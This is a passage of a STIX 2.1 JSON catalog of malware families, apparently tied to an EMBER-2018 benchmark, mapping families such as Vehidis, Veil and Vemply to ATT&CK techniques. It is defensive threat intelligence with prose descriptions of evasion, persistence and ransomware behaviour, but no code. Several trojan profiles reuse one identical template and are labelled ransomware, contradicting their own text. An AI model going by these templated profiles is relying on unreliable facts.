      "description": "Vbmod exhibits technique T1059.005 (Command and Scripting Interpreter: Visual Basic (VBScript within the ASP file))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ad79e8dc-c7cf-58a9-b47a-5f1df6c15c8b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--31e0c40f-6015-55fd-ba16-37b1123bcca6",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vbmod exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--206d7a9f-e4bd-5daa-b73f-33698331a29c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--31e0c40f-6015-55fd-ba16-37b1123bcca6",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vbmod exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--11141a57-007f-5806-a65b-ccfe4a773955",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Vbs_Worm_Generator",
      "description": "VBS Worm Generator (widely known as VBSWG and documented in security records as Worm.VBSWG or VBS Worm Generator by [K]Alamar) is an infamous malware construction kit created in mid-2000 by an Argentine programmer known as '[K]Alamar'. Designed as an automated script virus builder, VBSWG allowed non-technical operators to create self-propagating VBScript worms with point-and-click ease. Most notoriously, VBSWG was used by Dutch hacker Jan de Wit ('OnTheFly') in February 2001 to generate the devastating 'Anna Kournikova' worm (VBS.SST / VBS.OnTheFly), which infected millions of computers worldwide within hours. Worms generated with VBSWG replicated by accessing Microsoft Outlook via the MAPI object model to harvest the Windows Address Book and email copies of the worm to every contact. Furthermore, VBSWG worms dropped mIRC script injection hooks (script.ini), searched for local network shares, established registry autostart keys, and could execute auxiliary payload scripts on predetermined dates.",
      "is_family": true,
      "malware_types": [
        "worm"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "VBSWG",
        "VBS Worm Generator by [K]Alamar",
        "Worm.VBSWG",
        "VBSWG 1.50",
        "VBSWG 2.0"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Vbs_Worm_Generator",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/vbs_worm_generator"
        }
      ],
      "labels": [
        "worm",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b457e9ae-53e8-54ce-bcde-a7b1f70fc03f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--11141a57-007f-5806-a65b-ccfe4a773955",
      "target_ref": "attack-pattern--4a2de5a3-e5b3-59c0-9f8f-c714683837e2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vbs_Worm_Generator exhibits technique T1059.005 (Command and Scripting Interpreter: Visual Basic)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b54a5906-6a59-5e2f-ae46-212507f64f98",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--11141a57-007f-5806-a65b-ccfe4a773955",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vbs_Worm_Generator exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--af43dcbb-48f5-50e4-966c-80f74c8846e4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--11141a57-007f-5806-a65b-ccfe4a773955",
      "target_ref": "attack-pattern--36cc183d-43e0-5df7-9059-7bc6b49000e5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vbs_Worm_Generator exhibits technique T1083 (File and Directory Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--80aab495-55c3-5777-9d68-2913d2ed1519",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--11141a57-007f-5806-a65b-ccfe4a773955",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vbs_Worm_Generator exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--46da60ad-c369-57f7-a278-dde1ce8b92c3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--11141a57-007f-5806-a65b-ccfe4a773955",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vbs_Worm_Generator exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--032d200e-c91a-505f-918b-c1881608db66",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Vedpoz",
      "description": "Trojan:Win32/Vedpoz is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Vedpoz</b><br>To an end-user, a Vedpoz infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Vedpoz is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Vedpoz is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Vedpoz frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Vedpoz reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Vedpoz",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/vedpoz"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--105b0b77-065d-5b89-99ee-186a6020cf61",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--032d200e-c91a-505f-918b-c1881608db66",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vedpoz exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dfbca9e7-4704-5c45-b406-a74bda6f7e20",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--032d200e-c91a-505f-918b-c1881608db66",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vedpoz exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--baefc87d-6486-5da9-a43b-3192a5511d0d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--032d200e-c91a-505f-918b-c1881608db66",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vedpoz exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d1cdb4e2-befe-5557-84cd-e5385741fb74",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--032d200e-c91a-505f-918b-c1881608db66",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vedpoz exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2d779fc4-467c-5090-a351-28eb9aa5fb2b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--032d200e-c91a-505f-918b-c1881608db66",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vedpoz exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8638ad4a-ad85-5f3e-9dcb-163b80dbc5ac",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Vehidis",
      "description": "Vehidis (classified as Ransom:Win32/Vehidis and Trojan-Ransom.Win32.Vehidis) is a destructive crypto-ransomware family designed for rapid and wide-scale data extortion. Infiltrating endpoints through malvertising networks, malicious software bundles, and phishing lures, Vehidis terminates active database and productivity applications to ensure uninterrupted file access. It executes an asynchronous multi-threaded encryption routine that leverages AES-256 in CBC mode, appending .vehidis to encrypted files. Vehidis drops ransom notes titled RESTORE_VEHIDIS_FILES.html on the desktop and within every processed directory, demanding cryptocurrency payment for file restoration while wiping Volume Shadow Copies and system restore points. (Observed samples in benchmark: 15)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Vehidis",
        "Trojan-Ransom.Win32.Vehidis",
        "Win32/Vehidis",
        "Vehidis Ransomware",
        "Ransom.Vehidis"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Vehidis",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/vehidis"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--552b83fa-3664-534f-8a93-01a8f346c179",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8638ad4a-ad85-5f3e-9dcb-163b80dbc5ac",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vehidis exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--09b7eafa-8230-5913-a77c-6cf5c5bd30cf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8638ad4a-ad85-5f3e-9dcb-163b80dbc5ac",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vehidis exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a8b6a0d4-cb46-56a2-ba34-c0bbfa5632d5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8638ad4a-ad85-5f3e-9dcb-163b80dbc5ac",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vehidis exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a24088f9-c4bc-5f5d-9efd-fb670b9dcc14",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8638ad4a-ad85-5f3e-9dcb-163b80dbc5ac",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vehidis exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3ba42e2e-ab35-5891-b784-dbadf7733c99",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8638ad4a-ad85-5f3e-9dcb-163b80dbc5ac",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vehidis exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--993d8859-630a-50da-92f9-4c449dada0e2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Veil",
      "description": "Veil (most prominently recognized as the Veil Framework and Veil-Evasion, classified across endpoint security databases under designations including VirTool:Win32/Veil, HackTool:Win32/Veil, and Tool:Win32/Veil) is an evasion framework designed to generate weaponized, obfuscated Windows payloads that defeat signature-based antivirus and endpoint detection systems. Veil incorporates polymorphic encryption wrappers, custom memory execution stubs, and dynamic shellcode injection modules authored in C, Python, PowerShell, and C#. The framework utilizes dynamic Windows API resolution via memory hashing (avoiding direct references to LoadLibraryA and GetProcAddress), allocates executable memory pages with PAGE_EXECUTE_READWRITE permissions (VirtualAlloc, VirtualProtect), and leverages thread injection or Asynchronous Procedure Call (QueueUserAPC) hijacking to execute shellcode directly within legitimate host processes without writing unencrypted artifacts to disk. (Observed samples in benchmark: 19)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "VirTool:Win32/Veil",
        "HackTool:Win32/Veil",
        "Win32/Veil",
        "Veil-Evasion",
        "Veil Framework",
        "Tool:Win32/Veil"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Veil",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/veil"
        }
      ],
      "labels": [
        "virtool",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9583f0fb-a8ff-5c44-888f-4816f0902374",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Veilev",
      "description": "Trojan:Win32/Veilev is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Veilev</b><br>To an end-user, a Veilev infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Veilev is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Veilev is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Veilev frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Veilev reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Veilev",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/veilev"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ad984a8b-89ee-599c-b533-d4b3c78f6a66",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9583f0fb-a8ff-5c44-888f-4816f0902374",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Veilev exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--695bebd3-a9f8-5dc2-b511-7bb72e712aa1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9583f0fb-a8ff-5c44-888f-4816f0902374",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Veilev exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fa9e8e99-8259-50a7-998e-4642ef0aa6a1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9583f0fb-a8ff-5c44-888f-4816f0902374",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Veilev exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c62147c9-54c5-5dc5-bca6-84acc37a3280",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9583f0fb-a8ff-5c44-888f-4816f0902374",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Veilev exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7eb7265a-1a9c-5d78-bfaa-360c1a79abf5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9583f0fb-a8ff-5c44-888f-4816f0902374",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Veilev exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--bbaccd8d-dd86-50be-b373-213109c2e679",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Vemply",
      "description": "Vemply (identified across antimalware research telemetry under signatures including Ransom:Win32/Vemply, Trojan-Ransom.Win32.Vemply, and Trojan.Vemply) is a crypto-ransomware and extortion threat active since 2016. Infiltrating endpoints primarily through phishing email campaigns containing weaponized office documents and exploit kit redirections, Vemply initiates rapid host reconnaissance upon execution. It terminates database, backup, and antimalware processes via taskkill, releasing open file locks across local drives and network shares. Vemply traverses directory trees, encrypting documents, spreadsheets, databases, source code, and archives using AES-256 with an embedded RSA public key. It executes vssadmin commands to purge Volume Shadow Copies, modifies desktop wallpaper to display an extortion notice, and demands cryptocurrency payment in exchange for a decryption utility. (Observed samples in benchmark: 26)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Vemply",
        "Trojan-Ransom.Win32.Vemply",
        "Trojan.Vemply",
        "Win32/Vemply",
        "Ransom:Win32/Vemply.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Vemply",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/vemply"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--bd27bbbc-8a13-541d-99e5-17cc1754908d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Vemptik",
      "description": "Trojan:Win32/Vemptik is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Vemptik</b><br>To an end-user, a Vemptik infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Vemptik is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Vemptik is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Vemptik frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Vemptik reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 7)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Vemptik",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/vemptik"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6f910f4d-7068-55bc-96c2-0d600fcb6bee",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bd27bbbc-8a13-541d-99e5-17cc1754908d",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vemptik exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0f328b4e-03e4-5654-9279-34a849cfce94",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bd27bbbc-8a13-541d-99e5-17cc1754908d",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vemptik exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--47c5385b-4625-5609-af60-74547e51fff4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bd27bbbc-8a13-541d-99e5-17cc1754908d",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vemptik exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e6c614a8-23b9-5fb3-92bf-905b561b92eb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bd27bbbc-8a13-541d-99e5-17cc1754908d",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vemptik exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9264acb1-2bfe-5a3b-91e5-07f46f1cd01a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bd27bbbc-8a13-541d-99e5-17cc1754908d",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vemptik exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0bde415a-a262-5592-a129-89ec2da87466",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Venik",
      "description": "Trojan:Win32/Venik is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Venik</b><br>To an end-user, a Venik infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Venik is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Venik is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Venik frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Venik reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 6)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
